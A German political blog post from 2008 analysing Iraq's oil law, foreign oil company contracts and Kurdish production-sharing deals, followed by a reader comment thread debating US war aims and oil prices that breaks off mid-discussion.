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Iraks Schwarzes Gold

geschrieben am 05. Juli 2008 von Spiegelfechter

Im Jahre 1999 erklärte der spätere US-Vizepräsident Cheney den auf einer Konferenz in London anwesenden Ölmännern seine Vision vom Nahen Osten als Hauptgewinn im internationalen Kampf ums Schwarze Gold. Gemessen an seiner damaligen Vision, ist der Irakkrieg sowohl für die USA, als auch für die US-Ölindustrie, ein miserables Geschäft. Die Produktion dümpelte lange vor sich hin und konnte erst in diesem Jahr wieder „Vorkriegsniveau“ erreichen. Ausländische Ölfirmen warten indes immer noch auf die begehrten PSAs (Production Sharing Agreements), mit denen sie sich Teile des gigantischen Ölreichtums Iraks sichern können. Grundlage für Investitionen ausländischer Ölfirmen wäre ein Ölgesetz, das sowohl die Ansprüche ausländischer Firmen, als auch die Verteilung der Öleinnahmen innerhalb der Regionen des Iraks klären muss. Die ölreichen Nord- und Südprovinzen, die mehrheitlich von Kurden bzw. Schiiten bewohnt werden, haben bislang ein nationales Ölgesetz blockiert und es erscheint mehr als fraglich, ob und wann ein solches Gesetz beschlossen werden kann, das auch die Vergabe von Förderlizenzen der Zentralregierung in Bagdad überträgt.

Seit nunmehr zwei Jahren üben Washington und die internationalen Ölmultis spürbaren Druck auf die Regierung al-Maliki aus, PSAs an internationale Unternehmen zu vergeben, die in einem Ölgesetz festgeschrieben werden sollen. Eine Vergabe von PSAs an ausländische Ölfirmen ist momentan im Irak innenpolitisch allerdings nicht durchsetzbar. Dies musste auch der irakische Ölminister Hussain al-Shahristani einsehen, als er auf den internationalen Druck, Irak solle angesichts der Lieferengpässe auf dem Weltölmarkt schnellstens in seine Ölförderung investieren, mit einem Kompromissangebot antwortete, das „Big-Oil“ zwar ins Geschäft rund um das irakische Öl bringt, aber keinesfalls in der Form, die man sich in den Konzernzentralen der Ölgiganten gewünscht hätte.

Das irakische Ölministerium hat jetzt 41 internationale Ölfirmen – darunter auch die deutsche Wintershall – eingeladen, sich an den Ausschreibungen für diverse Projekte zu beteiligen. Der Inhalt dieser Ausschreibungen ist unbekannt – es ist allerdings anzunehmen, dass es hier lediglich um Service- und Förderverträge geht, die den Ölfirmen keine Beteiligung an den Ölfeldern selbst zugestehen. Dies ist nach gültigem irakischem Recht nämlich nicht möglich. Das große Ölgeschäft läuft auch abseits dieser neu ausgeschriebenen Projekte, die nächstes Jahr unterzeichnet werden sollen.

Zwei Drittel der aktuellen irakischen Ölförderung und ein bis zwei Drittel der vermuteten Erdölreserven des Landes konzentrieren sich auf sechs gigantische Ölfelder. Die Bohrtechnik auf diesen Feldern stammt zu einem großen Teil noch aus der Zeit, bevor Saddam Hussein die Ölwirtschaft verstaatlichte, da der Irak in den Zeiten des irakisch-iranischen Golfkrieges, der internationalen Sanktionen und in der jüngeren Zeit nach der US-Invasion kaum Zugang zu internationaler Beratung und technischer Ausrüstung hatte. Dementsprechend gering ist auch die Förderquote auf diesen Feldern. Die Verträge, die das irakische Ölministerium nun mit den internationalen Multis schließen will, sind sogenannte Dienstleisterverträge, bei denen die Multis lediglich Service- und Beratertätigkeiten ausführen – sie fördern nicht selbst und erwerben sich keine Rechte jedweder Art an dem geförderten Öl und den Reserven der betreffenden Felder. Für ihre Beraterrolle bekommen sie einen fixen Vertrag, der nicht mit der geförderten Ölmenge korrespondiert. Diese Verträge sind auf zwei Jahre abgeschlossen, danach soll neu verhandelt werden. Kritisch ist anzumerken, dass diese Verträge nicht ausgeschrieben wurden, sondern die Multis die Verträge exklusiv vom irakischen Ölministerium zugeteilt bekamen. Verträge dieser Art sind nicht ungewöhnlich – die staatlichen Ölgesellschaften Saudi-Arabiens und Kuwaits haben mit westlichen Öldienstleistern ganz ähnliche Verträge abgeschlossen. Der entscheidende Unterschied zu diesen Verträgen besteht jedoch in der Branche der Vertragspartner. Ölmultis, wie Shell oder BP, verfügen gar nicht über das Know-How für diese Tätigkeiten – sie haben diese Bereiche selbst ausgelagert und kaufen sie Bedarf bei Firmen wie Baker-Hughes, Schlumberger oder Saipem ein, die auch Vertragspartner der Saudis und Kuwaitis sind.

Warum sollte also der irakische Staat Verträge mit Ölmultis abschließen, von denen er gar nichts hat? Man könnte diese Verträge eher als eine Art Schutzgeld an „Big-Oil“ und deren politische Hintermänner verstehen, die langsam die Geduld mit dem Irak zu verlieren drohen. Für die Multis sind diese Verträge nicht der große Gewinn, den sie sich erhofft haben –sie wollen Förderrechte und PSAs, aber keine Beraterverträge.

Förderrechte in Form von PSAs werden derzeit allerdings im Nordirak von der Kurdischen Autonomieverwaltung abgeschlossen. Bereits 20 Verträge dieser Art sind unterzeichnet – die Unterzeichnerfirmen gehören eher zu den kleinen Fischen im Ölgeschäft. Unter ihnen finden sich z.B. drei türkische Unternehmen, die österreichische ÖMV, die ungarische MOL und koreanische Ölunternehmen. Keines dieser Unternehmen hat eine Einladung vom irakischen Ölministerium bekommen, sich an den Projekten zu beteiligen, die von der Zentralregierung ausgeschrieben wurden. Die kurdischen Ölabkommen sind nach irakischem Recht auch illegal und die Verträge demnach nichtig. Die kurdische Autonomiebehörde sieht dies allerdings diametral anders und somit stellen diese Verträge ein weiteres – scheinbar unüberwindbares – Hindernis für ein irakisches Ölgesetz dar, dem auch die Kurden zustimmen.

Die Verträge, die die Kurden aushandeln, sind für die kurdische Seite durchaus fair. 10% der projektierten Fördergewinne müssen im Voraus an die Kurdische Regierung überwiesen werden, danach kann der private Partner seine Kosten mit einer Umsatzbeteiligung wieder hereinholen – ist dies geschehen, muss er sich mit einer 15% Minderheitsbeteiligung begnügen. Rechtliche Ansprüche auf die Reserven hat der internationale Partner indes nicht. Verträge dieser Art sind momentan – sehr zum Ärgernis der Ölmultis – internationaler Usus. Bei den kurdischen Verträgen kommt indes eine Komponente hinzu, die an eine Art positives Schmiergeld erinnert. Der internationale Partner verpflichtet sich ebenfalls, auf eigene Kosten Infrastrukturprojekte in der kurdischen Autonomieregion umzusetzen. Die Kosten für diese verdeckten Zahlungen werden weder publik gemacht, noch mit den Einnahmen aus der Ölförderung verrechnet.

Die Kurden behaupten zwar, die Gewinne aus den Ölgeschäften würden in einen Fonds gehen, der auch an die mittel- und südirakischen Regionen ausbezahlt wird, wenn es erst einmal ein nationales Ölgesetz gibt. Dies ist allerdings kaum anzunehmen und die Komponente „Infrastrukturinvestitionen“ verbliebe in diesem Falle auch vollends in kurdischer Hand. Es wundert daher nicht, dass die irakische Zentralregierung das Treiben der Kurden mit äußerstem Argwohn beobachtet. Die USA stehen den kurdischen Verträgen ebenfalls ablehnend gegenüber, da sie nicht nur das gewünschte Ölgesetz behindern, sondern auch dem Separatismus im Irak Vorschub leisten. Umso peinlicher ist es da für die USA, dass die US-Firma Hunt-Oil, die dem Bush-Buddie und ehemaligen Haliburton-Vorstand Ray Hunt gehört, eine der Vertragspartnerinnen der kurdischen Autonomiebehörde ist. Um die Frage, ob die Regierung oder regierungsnahe Kreise Hunt grünes Licht für diese Aktion gegeben haben, spielt sich in den USA momentan eine regelrechte Politposse ab.

Das schwarze Gold Iraks kann erst dann im Sinne der Besatzer und der internationalen Multis ausgebeutet werden, wenn die irakische Regierung ein Ölgesetz verabschiedet. Der aktuelle Entwurf, der ohne Zweifel aus den Federn amerikanischer Berater stammt, hat nicht die geringste Chance umgesetzt zu werden – neben den Kurden und Schiiten geht er sogar den amerikafreundlichen Sunniten in der Allparteienregierung zu weit. Sollte je ein Ölgesetz umgesetzt werden, so wird es eher die Handschrift der ölreichen Regionen tragen, die bereits Fakten schaffen, die kaum mehr rückgängig zu machen sind. Eine jedwede Beteiligung von „Big Oil“ an den großen Ölfeldern scheint ausgeschlossen zu sein – kein Politiker im Irak würde dies unterzeichnen. Dies aus gutem Grund – die Investitionen für diese bereits weitgehend erschlossenen Felder sind minimal. Das technische Know-How, sie professionell weiter zu erschließen ist international verfügbar – die Chinesen besitzen es, ebenso die Russen und diverse andere Staaten. Es besteht daher kein Grund, internationale Multis an einem lukrativen Feld zu beteiligen, das von vielen anderen Partnern mit Kusshand auch ohne eine Beteiligung erschlossen und betreut würde.

Die USA haben den Irakkrieg wegen Massenvernichtungswaffen, Demokratie, Terrorismus und Öl geführt. Massenvernichtungswaffen wurden nicht gefunden, die Demokratie wird seitens der USA schon wieder abgemildert, da man keine demokratisch legitimierten iranfreundlichen Schiiten an der Macht sehen will, der Terrorismus wurde durch den Krieg massiv verstärkt und noch nicht einmal vom Ölreichtum des Landes bekommt man etwas ab. Der Irakkrieg wird wohl als Torheit ohne Gleichen in die Geschichte amerikanischer Außenpolitik eingehen. Aber im Weißen Haus sollte niemand sagen, man habe sie nicht im Vorfeld gewarnt.

Jens Berger

Bildnachweis (v.o.n.u.): Youth Climate Movement, US Army Forces Strategic Command, Unity 2008, Oilchange International

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46 Kommentare:

  1. Mx am 5. Juli 2008 um 19:02 - - Permalink

    Die USA werden sich den Braten nicht wegschnappen lassen.
    Bei den Saudis hat es ein paar Satellitenfotos gebraucht und schon war man wieder im Geschäft.

  2. Spiegelfechter am 5. Juli 2008 um 19:07 - - Permalink

    @Mx

    So? Wo sind die USA denn in Saudi-Arabien “im Geschäft”?

  3. Mx am 5. Juli 2008 um 19:19 - - Permalink

    erstmal ein Nachtrag: Guter Artikel!

    Ich meine, daß es lediglich der Satellitenfotos bedurfte, um “freundliches” Öl zu haben.
    Saudi Aramco ist DER Öllieferant der USA.
    Mit ihren Reservekapazitäten, garantierten sie lange Zeit relative Preisstabilität.

  4. Spiegelfechter am 5. Juli 2008 um 19:29 - - Permalink

    @Mx

    Klar, sie verkaufen den USA Öl. Aber sie verkaufen auch allen anderen Staaten Öl und die USA oder ein internationaler Ölmulti haben dort keine einzige Beteiligung an einem Ölfeld. Wenn US-Unternehmen dort ins Spiel so kommen, so ist es meist im Rahmen einer internationalen Ausschreibung und es beschränkt sich auf Dienstleistungen oder bezahlte Projekte, bei denen sich der Partner allerdings kein Stück vom Kuchen nehmen darf. Das große Plus für dies USA ist es vielmehr, dass die saudische Königsfamilie in ihrer Förderpolitik auf den Wunsch der USA große Rücksicht nehmen. Dies spielt in letzter Zeit aber kaum mehr eine Rolle, da es auch im saudischen Interesse ist, die Förderleistung möglichst hoch zu halten. Und die Tatsache, dass dies positive Auswirkungen auf den Preis hat, ist nicht nur für die USA, sondern eigentlich für alle Staaten, die keine Ölexporteure sind von großem Vorteil … also auch für die EU und China.

    p.s.: Ich habe die Anspielung mit den Satellitenphotos schon verstanden ;-)

  5. Mx am 5. Juli 2008 um 20:48 - - Permalink

    @ Spiegelfechter
    Dem stimme ich zu.
    Jedoch sind es die USA, die das Öl kontrollieren.
    Saddam hat versucht eigene Wege zu gehen; der Ausgang dieses Abenteuers ist bekannt.

    Ich bin irritiert wenn von der Niederlage, oder vom Scheitern der USA gesprochen wird.
    Die Medien haben noch vor einem Jahr den Irakkrieg mit einem zweiten Vietnam verglichen. Ich sehe dafür keine Grundlage.

    Mir fällt es schwer vorzustellen, daß sich die USA durch irakische Politiker, die über die Vertragsvergabe entscheiden, behindern lassen.

  6. Lau Dan am 5. Juli 2008 um 21:00 - - Permalink

    die Anspielung mit den Sattelitenfotos hab ich nicht verstanden ..

    ausserdem grübel ich noch über dem letzten Absatz :

    “Die USA haben den Irakkrieg wegen Massenvernichtungswaffen, Demokratie, Terrorismus und Öl geführt.”

    Irgendwas scheint an diesem Satz nicht zu stimmen – muss irgendwas mit drei Elephanten zu tun haben aber ich komm nicht drauf was es ist.

    u bei dem stolpere ich auch etwas :
    “Der Irakkrieg wird wohl als Torheit ohne Gleichen in die Geschichte amerikanischer Außenpolitik eingehen.”

    sollte das nicht heissen :
    “Der Irakkrieg reiht sich trotz Fiasko nahtlos in die ‘Geschichte amerikanischer Außenpolitik’ ein.”
    –
    zugegeben etwas dümmliche Anmerkung zu nem lesenwerten Artikel

  7. Spiegelfechter am 5. Juli 2008 um 21:02 - - Permalink

    @Mx

    Ich bin irritiert wenn von der Niederlage, oder vom Scheitern der USA gesprochen wird.
    Die Medien haben noch vor einem Jahr den Irakkrieg mit einem zweiten Vietnam verglichen. Ich sehe dafür keine Grundlage.

    Das kommt darauf an, was man als Kriegsziel der USA sieht. Mir fällt eigentlich kein Kriegsziel ein, das auch nur annährend verwirklicht wurde. Die Demokratie-Domino Theorie ist gnadenlos gescheitert, Iran ist gestärkt und nicht geschwächt, für Israel ist die Lage noch bescheidener als vorher und die “Sache mit dem Öl” hat auch nicht geklappt. Eine zuverlässige Lieferung aus dem Irak ist ja nicht einmal gegeben. Wenn die USA sich beispielsweise ernsthaft mit Iran anlegen sollten, werden die kompletten Förderungen aus dem schiitischen Südirak wahrscheinlich durch Sabotage lahmgelegt werden – und dies auf lange Zeit. Die Gewinne fließen hauptsächlich in irakische Taschen und gehen nur zu einem Teil in die US-Hand zurück (die altbekannten Kriegsprofiteuere rund um Bechtel, KBBR und Haliburton). Der große Jackpot ist das ganz sicher nicht.

    Mir fällt es schwer vorzustellen, daß sich die USA durch irakische Politiker, die über die Vertragsvergabe entscheiden, behindern lassen.

    Und was wäre dann das Ergebnis? Du glaubst doch nicht ernsthaft, dass sich die mühsam gebildete Allparteienregierung durch eine neue “Marionettenregierung” ablösen lassen würde. Die Folge wäre eine Anarchie und ein Wiederaufflammen des Bürgerkrieges – und das wollen die USA ganz sicher nicht. Mehr Truppen, mehr Tote und (v.a.) weniger Öl für die Weltmärkte wären die Folge. Die Irakis sind in einer recht bequemen Position – die USA werden irgendwann abziehen (bis auf die Militärbasen) und der Einfluss der Besatzer auf die Politik wird immer mehr schwinden. So war es ja auch in D und JPN. Bis dahin wird das Öl aber sicher nicht an Wert verlieren. Die USA sind da schon eher Getriebene – sie ächzen unter den Ölpreisen und der Wirtschaftskrise und können es sich auf keinen Fall leisten, eine weitere Verschärfung des Ölknappheit zu provozieren. Für die USA sieht es gar nicht gut aus.

  8. Spiegelfechter am 5. Juli 2008 um 21:07 - - Permalink

    @Lau Dan

    die Anspielung mit den Sattelitenfotos hab ich nicht verstanden ..

    Die USA haben (nachdem Sadam Kuwait eingenommen hat) den Saudis gefakete Satellitenbilder vorgelegt, die zeigen sollten, dass die Irakis die Truppen im Süden konzentrieren, um auch Saudi-Arabien anzugreifen. Nur deshalb, durften die USA ihre Truppen in SA stationieren und Kuwait von dort aus zurückerobern.

    Irgendwas scheint an diesem Satz nicht zu stimmen – muss irgendwas mit drei Elephanten zu tun haben aber ich komm nicht drauf was es ist.

    Wieso? Dies waren zumindest die vorgeschobenen Gründe – ob und in welcher Weise sie wirklich Ziele waren … darum geht es in diesem Satz nicht ;-)

    “Der Irakkrieg reiht sich trotz Fiasko nahtlos in die ‘Geschichte amerikanischer Außenpolitik’ ein.”

    Das sehe ich nicht so – die Osteuropa- und Russlandpolitik ist z.B. durchaus von Erfolgen durchzogen.

  9. Mx am 5. Juli 2008 um 21:09 - - Permalink

    “Die USA sind da schon eher Getriebene – sie ächzen unter den Ölpreisen und der Wirtschaftskrise und können es sich auf keinen Fall leisten, eine weitere Verschärfung des Ölknappheit zu provozieren. Für die USA sieht es gar nicht gut aus.”

    Ja, ich glaube da scheiden sich unsere Geister :-).

    Und Obama hat wohl seine Aussage, die Truppen sofort aus dem Irak abzuziehen, relativiert.
    Ich hoffe du hast recht.

    Schönes Wochende.

  10. Spiegelfechter am 5. Juli 2008 um 21:14 - - Permalink

    @Mx

    Und Obama hat wohl seine Aussage, die Truppen sofort aus dem Irak abzuziehen, relativiert.

    So hat er das eigentlich auch nie gesagt ;-)
    Aber im Prinzip hat er auch recht – die Truppen können erst abgezogen werden, wenn ein stabiles Nachkriegssystem besteht. Und dies ist erst dann möglich, wenn die regionalen Partner mit einbezogen werden. Insbesondere denke ich da an Iran, mit dem Obama ja wieder diplomatischen Kontakt pflegen will. Der Weg zu einem stabilen Irak geht nur(!) über die Diplomatie und keinesfalls(!) über das Militär – ich denke (und hoffe), das denkt auch Obama.

    Schönes Wochende.

    Merci – Dir auch!

  11. bnny am 5. Juli 2008 um 23:40 - - Permalink

    Wer sagt denn eigentlich dass es im Irak schlecht läuft? Mit jedem weiteren Tag scheffeln die an Besatzung und Wiederaufbau beteiligten Konzerne weitere Milliarden US-Steuergelder auf ihre Konten – denen kann doch gar nichts Besseres passieren als ein endlos Bürgerkrieg.
    Und was das Öl angeht – beim derzeitigen Ölpreis rechnet sich so ein Krieg sowieso noch nicht, das hätte man auf “diplomatischem” Wege sicher billiger gekriegt. Nein, aber wenn ich mir z.B. die neu gebaute US Botschaft in Bagdad anschaue, habe ich nicht das Gefühl die hätten demnächst vor sich da zu verziehen.
    Ich könnte mir eher vorstellen dass man sich für zukünftige Verteilungskämpfe um die letzten Ölreserven gegenüber China in Stellung bringen möchte.
    Und das mit der Demokratie? Ich wette man lacht sich insgeheim ins Fäustchen das so viele Menschen wirklich geglaubt haben das wäre ein ernsthaftes Ziel gewesen…

  12. Schwitzig am 6. Juli 2008 um 07:15 - - Permalink

    @SF

    Der Irakkrieg wird wohl als Torheit ohne Gleichen in die Geschichte amerikanischer Außenpolitik eingehen. Aber im Weißen Haus sollte niemand sagen, man habe sie nicht im Vorfeld gewarnt.

    Ich denke, dass Du das Öl viel zu sehr im Mittelpunkt des Kriegsgrundes siehst. Wenn Du Dir die Gewinne der amerikanischen Rüstungsindustrie ansiehst, ist der Irakkrieg ein echter Erfolg. Ein tatsächlich existierendes Perpetuum Mobile sozusagen :-).

    (Pfui! Wer wird denn so zynisch sein)

  13. Armin am 6. Juli 2008 um 13:44 - - Permalink

    Damit liegt Schwitzig vielleicht gar nicht so falsch. Die Versorgungssicherheit hat sich durch den Irakkrieg nicht besonders verbessert. Im Gegenteil, die Ölpreise haben erst danach angefangen, sich in Schwindel erregende Höhen zu schrauben.
    Ein Grund dafür liegt in der anwachsenden Inflation in den USA und dem schrecklich tief fliegenden Dollar. Die US-Regierung benutzt den schwachen Dollar, um dadurch den Druck der Schuldenlast ein wenig zu lindern. Die Ölproduzent wiederum erhöhen den Preis ihrer Produkte, damit sie beim – bekanntlich in Dollar gehandelten – Öl, keinen Verlust machen. Die bezahlen ihre Rechnungen zu Hause schließlich täglich nicht in US-Währung, sondern mit echtem Geld.
    Die wirklich Leidtrageneden sind also eigentlich die US-Bürger. Die Wirtschaft (und das sind ja auch gerne mal Rüstungskonzerne) kann durch den schwachen Dollar zwar ihre lächerliche Exportquote wenigsten ein bisschen erhöhen, aber John und Jane Doe gucken in die Röhre.
    Die hinter Bushs (und Cheneys) Lieblingsfirmen stehenden Shareholder haben bis jetzt gut verdient (siehe #12), aber wie wollen die “Decider” bei diesem trudelnden Kahn eigentlich noch das Ruder rumreissen? So ein Wirtschaftsabschwung kann ganz schnell eine unkontrollierbare Eigendynamik entwickeln.
    Sollte also das Öl der wahre Antrieb für den Irakkrieg gewesen sein, dann ist den Verantwortlichen aber auch wirklich alles in die Hose gegangen.

    Vielleicht hat Bush sein Vermögen ja schon in Rubel getauscht…

  14. Spiegelfechter am 6. Juli 2008 um 14:02 - - Permalink

    @Armin

    Im Gegenteil, die Ölpreise haben erst danach angefangen, sich in Schwindel erregende Höhen zu schrauben.

    Der Einfluss des Irakkriegs auf die momentanen Ölpreise ist eher zu vernachlässigen. Klar, ein marginaler Effekt ist vorhanden, aber ich würde das nicht überbewerten.

    Ein Grund dafür liegt in der anwachsenden Inflation in den USA und dem schrecklich tief fliegenden Dollar.

    Das gilt aber nur für Ölpreis in Dollar – der Ölpreis in Euro ist ebenfalls gigantisch und wäre bei einem starken Dollar sogar noch höher!

    Die US-Regierung benutzt den schwachen Dollar, um dadurch den Druck der Schuldenlast ein wenig zu lindern.

    Das kann man so sagen – ja

    Die Ölproduzent wiederum erhöhen den Preis ihrer Produkte, damit sie beim – bekanntlich in Dollar gehandelten – Öl, keinen Verlust machen.

    a) Öl wird nicht in Dollar gehandelt – der Dollar ist lediglich der Marker in NY, London und Singapur
    b) Produzenten erhöhen nicht den Preis, dies ist ein Marktprozess

    Die bezahlen ihre Rechnungen zu Hause schließlich täglich nicht in US-Währung, sondern mit echtem Geld.

    Es ist vollkommen wurscht, mit was sie ihre Rechnungen bezahlen und die dümmliche (sorry, nicht persönlich) Internetthese, der Dollar sei kein echtes Geld, kann ich mittlerweile nicht mehr hören ;-)

    Die wirklich Leidtrageneden sind also eigentlich die US-Bürger.

    Nein – auch die Europäer, die Chinesen und eigentlich alle, die Öl importieren müssen, sind die Leidtragenden und wie bei Preiserhöhungen für nicht substituierbare Güter üblich, leidet derjenige am meisten, bei dem der höchste Anteil des Einkommens für dieses Gut bezahlt werden muß und dies ist der kleine Bürger.

    Die Wirtschaft (und das sind ja auch gerne mal Rüstungskonzerne) kann durch den schwachen Dollar zwar ihre lächerliche Exportquote wenigsten ein bisschen erhöhen, aber John und Jane Doe gucken in die Röhre.

    So “lächerlich” ist die Exportquote gar nicht – aber klar, John Doe muß höhere Preise für Importe bezahlen, dafür kriegt er aber uU auch wieder einen Job. Die Münze hat zwei Seiten und die eigentlich Leidtragenden sind … tätätätä … die Deutschen, da sie – wie kein anderes Land – auf den Export setzen.

  15. name am 6. Juli 2008 um 14:27 - - Permalink

    Die Kontrolle über die irakischen Erdölreserven ist aus amerikanischer Sicht durchaus erreicht: ohne amerikanische Zustimmung kann sich die Regierung Maliki die Wahl seiner Vertragspartner im Erdölsektor als Illusion an die Wand malen. Die Konditionen und wer Eigentümer, Verfügungsberechtiger, Vertragspartner über die irakischen Erdölfelder oder eben ein solcher Nichtpartner wird, wird im Weissen Haus bestimmt.

    Der Zeitfaktor, die Frage, ob das irakische Erdöl jetzt überhaupt und unter direkter Kontrolle amerikanischer Erdölkonzerne (!) unbedingt auf den Erdölmarkt geworfen werden muss, stellt sich so dringend für die amerikanische Politik nicht.

    Im Gegenteil, sie sind sogar jetzt, unter anderem in der Lage eine neue amerikanische Trägergruppe nur für Südamerika ins Leben zu rufen und die militarisierte amerkanische Außenpolitik auf den rebellischen Südkontient zu übertragen und gleichzeitig die Kontrolle Eurasiens und Eindämmung Russlands über Afgahnistan durch die europäischen Versallen auszudehnen.

    Das nebenbei die europäische Lebensader, die exportorientierte Automobilindustrie direkt getroffen wird, kann als zusätzlicher Gewinn verbucht werden.

    Im Irak ist aus amerikanischer Sicht alles zur momentanen Zufriedenheit erledigt.

  16. name am 6. Juli 2008 um 15:13 - - Permalink

    Zur alten , neu reaktivierten vierten US Trägergruppe für Südamerika

    http://www.navy.mil/search/display.asp?story_id=36606

    http://www.navy.mil/m/displaym.asp?story_id=37975&category=headlines

    http://www.venezuelanalysis.com/news/3427

  17. Spiegelfechter am 6. Juli 2008 um 17:00 - - Permalink

    @name

    Die Kontrolle über die irakischen Erdölreserven ist aus amerikanischer Sicht durchaus erreicht: ohne amerikanische Zustimmung kann sich die Regierung Maliki die Wahl seiner Vertragspartner im Erdölsektor als Illusion an die Wand malen.

    Dann wird die US-Regierung also auch den Verträgen mit Sinopec und Lukoil zugestimmt haben? Unwahrscheinlich.

    Die Konditionen und wer Eigentümer, Verfügungsberechtiger, Vertragspartner über die irakischen Erdölfelder oder eben ein solcher Nichtpartner wird, wird im Weissen Haus bestimmt.

    Wenn dem mal so wäre – dies wäre der feuchte Traum Cheneys, es bleibt aber ein Traum. Alle “Argumente” die in diese Richtung gehen, sind bloße Spekulation, bar jeder Realität, oder “Spökenkiekerei”, wie meine sporadische Lektorin immer so schön sagt.

    Der Zeitfaktor, die Frage, ob das irakische Erdöl jetzt überhaupt und unter direkter Kontrolle amerikanischer Erdölkonzerne (!) unbedingt auf den Erdölmarkt geworfen werden muss, stellt sich so dringend für die amerikanische Politik nicht.

    Tatsächlich? Dann ist der US-Regierung die US-Wirtschaft also wurscht? Mutige Prognose *g*

    Im Gegenteil, sie sind sogar jetzt, unter anderem in der Lage eine neue amerikanische Trägergruppe nur für Südamerika ins Leben zu rufen und die militarisierte amerkanische Außenpolitik auf den rebellischen Südkontient zu übertragen und gleichzeitig die Kontrolle Eurasiens und Eindämmung Russlands über Afgahnistan durch die europäischen Versallen auszudehnen.

    Wow – liest sich wie ein “Schauermärchen”. Sie wollen also in Brasilien oder Venezuela einmarschieren? Dagegen lesen sich die ewigen Irankriegwarnungen ja glatt harmlos.

    Im Irak ist aus amerikanischer Sicht alles zur momentanen Zufriedenheit erledigt.

    Yep – Amen *lol*

  18. name am 6. Juli 2008 um 19:03 - - Permalink

    Aber Jens,

    die alten Verträge von Lukoil und Sinopec stehen natürlich unter dem Vorbehalt von 100.000 amerikanischen Soldaten und 150.000 amerikanischen Söldern, und momentan ist der Contract über das West Qurna-2 Feld von Lukoil immer noch eingeforen, auch wenn der irakische Ölminister in Moskau lobend was anderes erzählt hat.

    Die NYT bewertet im übrigen deine Ausführungen entgegengesetzt: Die Vergabe der einfachen Serviceleistungen garantieren die zukünftigen Bohrrechte den BiG 5 und ob die Kurden im Norden sonstwas verantstalten, spielt eigentlich keine Rolle. Es ist ja kein Wunder, dass nur die zweite Reihe der Erdölkonzerne Hoffnungen auf die schon immer verratenen Kurden setzt.

    Außerdem Jens:

    Wieso hätte die amerikanische Regierung vor Wut schäumen sollen, wenn an Lukoil selbst ein amerikanischer Konzern mit Conocophillips direkt beteiligt ist, wo so lustige Gestalten Richard Armitage, Kenneth Duberstein samt James J. Mulva (Mitglied im http://www.api.org/ und http://www.npc.org/ ) und viele andere, die Führungsebene besetzen und selbst Lukoil als liberales, kremeltreues russisch/amerikanisches Interessenprodukt (!) gilt?

    http://www.conocophillips.com/investor/governance/board_directors/index.htm

    http://johnibiii.wordpress.com/category/west-qurna/

    Der Deal über das irakische Öl wird leichte Konzessionen der Amerikaner an China oder Russland nach sich ziehen, keine Frage, und viellleicht ist sogar das angestrebte gegeneinander ausspielen Chinas und Russlands hier im Irak erstmals möglich: aber nur nach amerikanischen Bedingungen.

    Das mit Schauermärchen hättest du Dir auch sparen können, denn es ist eine direkte Änderung der amerikanischen Außenpolitik in Südamerika. Das müsste dir selbst eigentlich aufgefallen sein.

  19. Spiegelfechter am 6. Juli 2008 um 19:40 - - Permalink

    @name

    die alten Verträge von Lukoil und Sinopec stehen natürlich unter dem Vorbehalt von 100.000 amerikanischen Soldaten und 150.000 amerikanischen Söldern.

    Ach so – das steht also in den AGB. Da habe ich wieder was gelernt!

    Die NYT bewertet im übrigen deine Ausführungen entgegengesetzt

    Ich weiß – der Artikel ist nicht überzeugend. Die BBC stützt meine These – was nun?

    Die Vergabe der einfachen Serviceleistungen garantieren die zukünftigen Bohrrechte den BiG 5

    Eine glatte Falschinformation

    und ob die Kurden im Norden sonstwas verantstalten, spielt eigentlich keine Rolle.

    Das sehen die irakische Regierung und die US-Regierung nun mal diametral anders.

    Es ist ja kein Wunder, dass nur die zweite Reihe der Erdölkonzerne Hoffnungen auf die schon immer verratenen Kurden setzt.

    Natürlich – wer will es sich mit der USA und v.a. der irakischen Regierung verscherzen.

    Wieso hätte die amerikanische Regierung vor Wut schäumen sollen, wenn an Lukoil selbst ein amerikanischer Konzern mit Conocophillips direkt beteiligt ist

    Weil Lukoil ohne wenn und aber kremltreu ist – und wenn sich dies mal ändern sollte, würde ich Lukoil-Aktien aber ganz schnell verkaufen. Memento Yukos.

    Das mit Schauermärchen hättest du Dir auch sparen können, denn es ist eine direkte Änderung der amerikanischen Außenpolitik in Südamerika. Das müsste dir selbst eigentlich aufgefallen sein.

    Na aber sicher – aber ob dort die 4. Flotte kreuzt, oder in China fällt ein Sack Reis um, dies in dem Kontext als Argument anzuwenden, wie Du es oben tust, ist mE wenig hilfreich. Du weißt – ich bin Realist und Du bist Idealist. Da tauchen halt diese Konflikte immer wieder auf ;-)

  20. Berater am 6. Juli 2008 um 21:33 - - Permalink

    Grüße aus Riyadh und Kompliment zu diesem sehr schönen Bericht.

    Man ist ja sehr schnell als Anti-Amerikaner abgestempelt (und dass ist ja bekanntermaßen geradezu gegen den deutschen Generationenvertrag, wo sie uns doch vor dem bösen Hitler gerettet haben, oder war das doch der Russe?) und wird schnell mit dem althergebrachten “geh doch nach Drüben” Argument abgekanzelt, wenn man das Fehlverhalten, das ständige Fehlverhalten sogar, der Amerikaner der Welt vor Augen führt.

    Sie belügen und betrügen, bespitzeln und beklauen Freund wie Feind und drehen alles so hin, dass es ja auch nur zu ihrem und möglichst nur ihrem Vorteil gereicht. Und dabei ist doch das Einzige, was langfristig dabei herauskommt immer wieder nur Zerstörung. Zerstörung der Umwelt allemal, aber ebenso Zerstörung von Leben, Strukturen und Werten.

    Es ist mir fast schon eine Genugtuung, ich nehme es aber in Wirklichkeit eher mit Achselzucken hin, wenn ihnen ihr schäbiges Handwerk wie hier im Irak misslingt. Nur ändern wird das nichts. Es findet sich immer wieder ein korrupter Politiker, der ihnen dabei hilft, zurück aufs Pferd zu steigen.

  21. algore am 6. Juli 2008 um 23:10 - - Permalink

    Hier verlinkt ein Idaelist einen anderen Idealisten:

    Naomi Klein:

    http://www.alternet.org/story/90409/?page=1

    Sehr interessant, trotzdem bin ich immer dankbar für deine Artikel Spiegelfechter, dein humanistischer Realismus ist verstörend und erfrischend zugleich:))!

  22. corax am 6. Juli 2008 um 23:59 - - Permalink

    @ #15 · name am 6. Juli 2008 um 14:27

    Das nebenbei die europäische Lebensader, die exportorientierte Automobilindustrie direkt getroffen wird, kann als zusätzlicher Gewinn verbucht werden.

    Komisch. Ich dachte GM wäre gerade im Gespräch für eine Pleite.
    Spritfressende Riesenkarren zu bauen bei steigenden Ölpreisen, ist natürlich ein prima Geschäftsmodell.
    Jetzt weiß ich endgültig, was ich von deinen Aussagen zur Wirtschaft halten soll.

    Merci. :-)

  23. name am 7. Juli 2008 um 03:43 - - Permalink

    @corax

